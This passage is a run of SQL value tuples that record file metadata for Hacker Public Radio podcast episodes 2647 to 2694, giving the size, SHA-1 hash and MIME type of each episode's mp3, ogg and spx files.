(2647,'hpr2647.mp3','mp3',9145103,'7a8d44cd8525a4d6a5221db52a8a82dbb31640e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2647,'hpr2647.ogg','ogg',9806837,'4b3579800ca45b799ca1a95a5a5310345b6edd49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2647,'hpr2647.spx','spx',4084016,'992c33e34852dc78523471a6d922b1d5d07abb93','application/ogg; charset=binary','Ogg data, Speex audio'),
(2648,'hpr2648.mp3','mp3',14300269,'b78a9eb3ba81f72d0e886ceedca20b957203b422','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2648,'hpr2648.ogg','ogg',17013661,'c2d7a2f8d06cde666cb65795b228cd85c5f40798','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2648,'hpr2648.spx','spx',6386365,'d3514afa1e8cb5a9fc9da410d45be2026a1f2ce0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2649,'hpr2649.mp3','mp3',12063089,'63cb05490100c668d72f117f63c94b6ce4fa61e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2649,'hpr2649.ogg','ogg',13347944,'051bf7ad9b1f94b8c1ab1caf2d5e8480952a69bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2649,'hpr2649.spx','spx',5387261,'5c13fd2fa1e69c38b1958f977488aa7442d18b68','application/ogg; charset=binary','Ogg data, Speex audio'),
(2650,'hpr2650.mp3','mp3',5124134,'b7bc7c2542d8d2a5aeaefde100d81d763a06151c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2650,'hpr2650.ogg','ogg',5753847,'9ce8722916a19f949e72c7c2b8b8e53e94c4cb93','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2650,'hpr2650.spx','spx',2288221,'d8a1d8ab129bdbfa0e452f6e543d7fdbf1e7aefe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2651,'hpr2651.mp3','mp3',38652871,'0d8cfef6a83b9f3fe466ab3a4f09b98523052d31','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2651,'hpr2651.ogg','ogg',38608715,'c38b60518b01ef4fe354490e2f7976eccbe93b65','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2651,'hpr2651.spx','spx',17262581,'d82a2d81b41476da9561fd1a3232e880dc12a26d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2652,'hpr2652.mp3','mp3',4644799,'238cb8889ebc0b589863d4d0b586904a3bb5854b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2652,'hpr2652.ogg','ogg',5097517,'0062ca8ba48a31a67902bd941427745007a7b97b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2652,'hpr2652.spx','spx',2074192,'f9d2debf9a35a867e23cc107addbdf0bedacd642','application/ogg; charset=binary','Ogg data, Speex audio'),
(2653,'hpr2653.mp3','mp3',2676601,'714ed2e6dc7eddeab979e588175b3eff83f56fdb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2653,'hpr2653.ogg','ogg',3018826,'8c012801cc3690cb411401b1ab5c188abddd15bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2653,'hpr2653.spx','spx',1195177,'1b4e9f05f137ccec5708b24ab6d13afa71925a6c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2654,'hpr2654.mp3','mp3',7211198,'7f701aafeca4c213ede44cb9a4eab412208834d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2654,'hpr2654.ogg','ogg',7740798,'2ea072ba128ec773de4f948cf328b6b714852560','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2654,'hpr2654.spx','spx',3220368,'a03a5f693f9a04f174613e0b0d031ac41cc8290c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2655,'hpr2655.mp3','mp3',6729932,'ac290865845866ba4a9007c42d0c13ee70e92ac9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2655,'hpr2655.ogg','ogg',7857331,'53fd916784470cd11d063fa4246cb42693a04313','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2655,'hpr2655.spx','spx',3005366,'5a0ce6c65e6bf937fcfe905161d577839b3f126c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2656,'hpr2656.mp3','mp3',7890880,'f2f5e43e11443ea126887dff874dc78b31877e78','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2656,'hpr2656.ogg','ogg',9303104,'5c531631bcbfd8102dee9131097b6c03a603e73a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2656,'hpr2656.spx','spx',3523858,'032c616132180224d4e09652a46119966fbb15a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2657,'hpr2657.mp3','mp3',13219632,'3835f76f64d548cc654a4934579c89210bc12296','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2657,'hpr2657.ogg','ogg',14789869,'7928c14ff919f9fe124f9d02830f9561ad197f37','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2657,'hpr2657.spx','spx',5903749,'223882a62ada7ba9c859b7461406d60e15a8589b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2658,'hpr2658.mp3','mp3',23340675,'2f3af4b4f0ed4d64a9d948dac68f74157da331ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2658,'hpr2658.ogg','ogg',28161508,'664f36ff26428aa0b2470d7dd8e790d57de324e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2658,'hpr2658.spx','spx',10423964,'3bcbba713ed28de386de8a3d86de23ba5c4b760d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2659,'hpr2659.mp3','mp3',14708982,'e56059f1668a38244630ff9a5116321a7a60d724','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2659,'hpr2659.ogg','ogg',16521603,'d1e42509bc110b49605a1fa249548f8a7ec3e898','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2659,'hpr2659.spx','spx',6568880,'5dcd0e41ef6211a2f3667942f2e19f31a7c74b4f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2660,'hpr2660.mp3','mp3',4268812,'538582b172343a2d1940720c765590be394c4268','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2660,'hpr2660.ogg','ogg',4546107,'a5ee450a614c9df988dcf0294fd5e2f8d4d74176','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2660,'hpr2660.spx','spx',1906256,'b6c069becdb9e1501d6c0155beefd1bc340f1b5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2661,'hpr2661.mp3','mp3',6506118,'2d1331647e0b43d3dc954cc76c55b69efbc4b564','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2661,'hpr2661.ogg','ogg',7371489,'be81031e5acfb0397d45c2a0e78c8ef647eef84a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2661,'hpr2661.spx','spx',2905419,'6c07ecd89d829db6cdc5c5484d8104bd3d7c8cbe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2662,'hpr2662.mp3','mp3',2639168,'45f4501492a0a0976f62cf6357b22bc9100c7958','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2662,'hpr2662.ogg','ogg',2900386,'b6a1b40c8ec55aa644b216a69e664ad58bea44f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2662,'hpr2662.spx','spx',1178429,'64fdb5b2e22dd3e454b9bf58593fd386953be4d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2663,'hpr2663.mp3','mp3',2750802,'c37d199012052d8eef77788252e7eb66bed7812f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2663,'hpr2663.ogg','ogg',3060461,'079f4aafd087492e908d6949fc7af617ec47364a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2663,'hpr2663.spx','spx',1228279,'b53569d00166a5c740aeda06b7120e7e36001372','application/ogg; charset=binary','Ogg data, Speex audio'),
(2664,'hpr2664.mp3','mp3',5098701,'a46bdc4b398bc06029d58bb4b7c2d83aca107340','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2664,'hpr2664.ogg','ogg',6080276,'7076431786aef32ccc42b51caa8abc98d6d9030a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2664,'hpr2664.spx','spx',2276913,'18d2cd1a6de667290efd291f40c6d8b3f829bb66','application/ogg; charset=binary','Ogg data, Speex audio'),
(2665,'hpr2665.mp3','mp3',9407987,'c732e267afcc68c4b027b3cbd0fc77f0ffddb9a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2665,'hpr2665.ogg','ogg',10881963,'9b653df1fe16c4a3f6f412284a00c684f2b4c4a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2665,'hpr2665.spx','spx',4201413,'8edbbe53fed8a9eedc85774215ab3a9400f01101','application/ogg; charset=binary','Ogg data, Speex audio'),
(2666,'hpr2666.mp3','mp3',15689131,'a76a5f2838663ec8b483fdb13b7d7f769ef2c386','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2666,'hpr2666.ogg','ogg',22511833,'4bfa692fbdd943326d54f56e99132f1d9563c195','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2666,'hpr2666.spx','spx',7006668,'a895461893f443bd5a86c3c92eee91b04df1c4ca','application/ogg; charset=binary','Ogg data, Speex audio'),
(2667,'hpr2667.mp3','mp3',10784547,'ac5d87189ad7dab2485e384309eec38bbc906775','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2667,'hpr2667.ogg','ogg',12247762,'4ea2d37a66bf4107f556667ef9a987bf732ee35c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2667,'hpr2667.spx','spx',4816180,'3c2cad7f045d16e2431f7090bb40d7440ba88ba7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2668,'hpr2668.mp3','mp3',9852991,'097256b8c26fc0abff9adb4bd28f496957ff9078','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2668,'hpr2668.ogg','ogg',11530495,'e01b18ed9cce3d5f1d017da769c764a9df00391c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2668,'hpr2668.spx','spx',4400220,'1fb5ef5087aaac0642786b0b471b202370c1246b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2669,'hpr2669.mp3','mp3',16184590,'9b4ebfa12897a891d24750f7787e335cc4bb87b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2669,'hpr2669.ogg','ogg',18118141,'01bb32e620e0838a7beaecbf9b4cb12e894f8355','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2669,'hpr2669.spx','spx',7227955,'ccc34fdf312807f81025a1e67f651ed8acfc5a84','application/ogg; charset=binary','Ogg data, Speex audio'),
(2670,'hpr2670.mp3','mp3',8248611,'5b4bb033fd2a74b58fd72d07a00af3868d3a7c68','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2670,'hpr2670.ogg','ogg',8615665,'9cb9a26f93b86230cef995e72cbeffa49f69bf9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2670,'hpr2670.spx','spx',3683669,'9da1098d1faf1f1c1acdff8599ed3b8252bb47cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2671,'hpr2671.mp3','mp3',20110295,'c1bde6ee2223f3303aa3177330dc628eb1920fdb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2671,'hpr2671.ogg','ogg',21642559,'c918613649507506709de559085195c6a43fbc2e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2671,'hpr2671.spx','spx',8981195,'170a31cb6db8a5143944909dea94e781c10c608e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2672,'hpr2672.mp3','mp3',28890557,'8703af1a8a142e187aa88103c2da72e448c03249','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2672,'hpr2672.ogg','ogg',33933915,'748181e20abc2f26dd8235c46293a8c4924ccdd7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2672,'hpr2672.spx','spx',12902556,'2464a5c4f592bd909cd1e41201810abd7165eb5d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2673,'hpr2673.mp3','mp3',16643559,'950a4cc31bbb9d8da9a86c923eaa26f2d1b1553a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2673,'hpr2673.ogg','ogg',19400756,'3ba13e4432e34053c17e90094856746db68d5958','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2673,'hpr2673.spx','spx',7432999,'97785da4c6708803631d50c048812de90f55aa8b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2674,'hpr2674.mp3','mp3',5905909,'88f5130dca656c01a1105f07290a93fa75465468','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2674,'hpr2674.ogg','ogg',6383936,'a89e54b07243959bdc9c8b85bdeef55fd62e56d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2674,'hpr2674.spx','spx',2637349,'5ce8c8b8278c0981f14871490d9e2fd7b3f05b07','application/ogg; charset=binary','Ogg data, Speex audio'),
(2675,'hpr2675.mp3','mp3',7197207,'f8398146d99739fb16687248b51285c251e685d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2675,'hpr2675.ogg','ogg',8332828,'7f3bfae3ae5cc28a11d70fc7e13c537563710d29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2675,'hpr2675.spx','spx',3214032,'dc29e3d62a0ba1d3c76a3dc91afadfb905c08151','application/ogg; charset=binary','Ogg data, Speex audio'),
(2676,'hpr2676.mp3','mp3',32772808,'ae45adf04ac2df49761811b4c9f8f7931cf69c58','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2676,'hpr2676.ogg','ogg',33130038,'1cbaec0d98d58aacd4be06bfe420e2bc146a95a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2676,'hpr2676.spx','spx',14636434,'50ec5d8592f6747bd43ad42c73926b5b1614f76c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2677,'hpr2677.mp3','mp3',9044006,'24d3aca4a600a0d16d03678c9b2cafec9919bf33','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2677,'hpr2677.ogg','ogg',9784889,'7d89d783a6b55fe11130a83e32e4006de83b6f0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2677,'hpr2677.spx','spx',4038896,'2974b482ddc85d48cfe551d67c57a69880d29027','application/ogg; charset=binary','Ogg data, Speex audio'),
(2678,'hpr2678.mp3','mp3',9004314,'da37d6ee9c713dd3b449216b09c1bb53f3d089e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2678,'hpr2678.ogg','ogg',10370819,'0bdaabba52b8fd5ae9fe2603d5789587cdbed823','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2678,'hpr2678.spx','spx',4021124,'542413db9d09fc019a8c5433bc7a3b90da27b849','application/ogg; charset=binary','Ogg data, Speex audio'),
(2679,'hpr2679.mp3','mp3',18710939,'c563f0ae0dc9576223357b83958d89bd41180c84','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2679,'hpr2679.ogg','ogg',20865266,'2e1619302c0d1723700ae682f20c52935d623fbc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2679,'hpr2679.spx','spx',8356249,'30ca57a80b86e3ee6047f34e24f786956bde6ac9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2680,'hpr2680.mp3','mp3',7120791,'cc8472f823013fb8e59701d62a323dd054be6e5c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2680,'hpr2680.ogg','ogg',7428252,'12c1c92105d2bda7d308ab5c1b69f2fffd51338e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2680,'hpr2680.spx','spx',3179948,'5737be21e63aed37ffb64e25dde340d0b9e5b994','application/ogg; charset=binary','Ogg data, Speex audio'),
(2681,'hpr2681.mp3','mp3',3298084,'6cde69b072f9eb953cce63397d15cbad7046bab9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2681,'hpr2681.ogg','ogg',3930515,'e471aa8a4a806d946d087b5ad7ab78be86c9219e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2681,'hpr2681.spx','spx',1472699,'19997a57f648ad33b33945b3b7f9636a0511e3a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2682,'hpr2682.mp3','mp3',23090759,'41ce79e956e0f34f62ba9c645a811c5f56a44e9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2682,'hpr2682.ogg','ogg',25070046,'f6738e30acaba8f8a55dd99bbc1ada7b71ff3e25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2682,'hpr2682.spx','spx',10312284,'f2ea1d7dea1a6ca2b942a732a58815f3e0c27528','application/ogg; charset=binary','Ogg data, Speex audio'),
(2683,'hpr2683.mp3','mp3',16103635,'a570653a6c12523d4c4c3f057bca549509a9d461','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2683,'hpr2683.ogg','ogg',19072384,'3000de8f6e74eaa5b84fe7d48023db735fb0886d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2683,'hpr2683.spx','spx',7191914,'9a0e8375b7af794e7f3b210f5c9acd5411a26d29','application/ogg; charset=binary','Ogg data, Speex audio'),
(2684,'hpr2684.mp3','mp3',1683281,'74cbf31b862d4ba295f1311633cb073f25511cd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2684,'hpr2684.ogg','ogg',1946957,'4e9a83d7b039a8e3956a08712d6053e1926b7a8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2684,'hpr2684.spx','spx',751533,'57a33b057a15d55a06adfde1ca0af80bf5542259','application/ogg; charset=binary','Ogg data, Speex audio'),
(2685,'hpr2685.mp3','mp3',7928667,'695667bcca481adbdb99f44a301aa01a1a0d7825','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2685,'hpr2685.ogg','ogg',9272607,'750ab0110ce737193de07298f557832e5d0768fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2685,'hpr2685.spx','spx',3540826,'927c46cee2a917f9cabf3631937ed1531aff603e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2686,'hpr2686.mp3','mp3',20405608,'82ecd2ddb7695dbc58320daa542b09be0f946f29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2686,'hpr2686.ogg','ogg',22198616,'8c727f9bff7d917779d473df9d9a76a5dd34d8d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2686,'hpr2686.spx','spx',9113122,'058577e909d936027b9103b3c6307f9d2484432d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2687,'hpr2687.mp3','mp3',7132494,'08a972da7966213f1498ca9c3caad20f9b268599','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2687,'hpr2687.ogg','ogg',7566249,'10a80bae4d879a77d8d9e26e42616f149c6be12c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2687,'hpr2687.spx','spx',3185158,'a49d00ab9143c9d2af6a82ac295a4ab76ab70766','application/ogg; charset=binary','Ogg data, Speex audio'),
(2688,'hpr2688.mp3','mp3',9440455,'be7fc1bfa9e60badf949088343b0124e81594f59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2688,'hpr2688.ogg','ogg',11201022,'77c1a4d4e0f432e6b5d7112fd64cf3c0d7796064','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2688,'hpr2688.spx','spx',4215982,'483f9f7f81d0e84ca0f912577daa1d6a96740c00','application/ogg; charset=binary','Ogg data, Speex audio'),
(2689,'hpr2689.mp3','mp3',14595094,'8b2b1f3dd8a07e061d18bed491aa2d1e162dd196','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2689,'hpr2689.ogg','ogg',16246662,'2aa85d748a8e3ba3d9805b79d32cd8f20503b421','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2689,'hpr2689.spx','spx',6518081,'f3b3942c379e500ba084b405815e8da6a7c97a4e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2690,'hpr2690.mp3','mp3',4498065,'b5e80f1056059963743b3c369b215150b88eb35a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2690,'hpr2690.ogg','ogg',5468759,'86245734c7932b37aac98850d7eacf1e0a7e1579','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2690,'hpr2690.spx','spx',2008650,'1006ade5968d98de5680c27280b3f791a5ff3f04','application/ogg; charset=binary','Ogg data, Speex audio'),
(2691,'hpr2691.mp3','mp3',2370424,'51fb92cb26ac1dc95f2a5faf356655f5dcbf524e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2691,'hpr2691.ogg','ogg',2677919,'43a50a047a1fa2a95d2534b1e2ab0387dc95c755','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2691,'hpr2691.spx','spx',1058369,'c165a97be6af1f561d5ec3478cfeeb6a1fe350fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2692,'hpr2692.mp3','mp3',4576022,'0d810e6f713b913875a7ff1ea9cd4d312501c632','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2692,'hpr2692.ogg','ogg',4521949,'d684934743ce667de6cabc0fe4105e1c0fc4fd3e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2692,'hpr2692.spx','spx',2043520,'09c4ee93dae3d5a6c3e887aac33fcc6d151770a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2693,'hpr2693.mp3','mp3',10250432,'2c7616a2ac784f4654dc6de2ef0abb0d3f7215c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2693,'hpr2693.ogg','ogg',9705849,'f93a3ecdf5cd95b981a31ca1df729cad17b22d6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2693,'hpr2693.spx','spx',4577749,'a5e93c2933c9555dbd64d3c2935ae8178fc12f10','application/ogg; charset=binary','Ogg data, Speex audio'),
(2694,'hpr2694.mp3','mp3',5868753,'a51dcb450134fc7dc126a4f00066ab83640caba9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2694,'hpr2694.ogg','ogg',5863817,'89f54d496dddb6976ae8040ba69c19dc36b59a87','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2694,'hpr2694.spx','spx',2620811,'2cc3bf8d19f7cf014d0c768084357adc76e37cd0','application/ogg; charset=binary','Ogg data, Speex audio'),
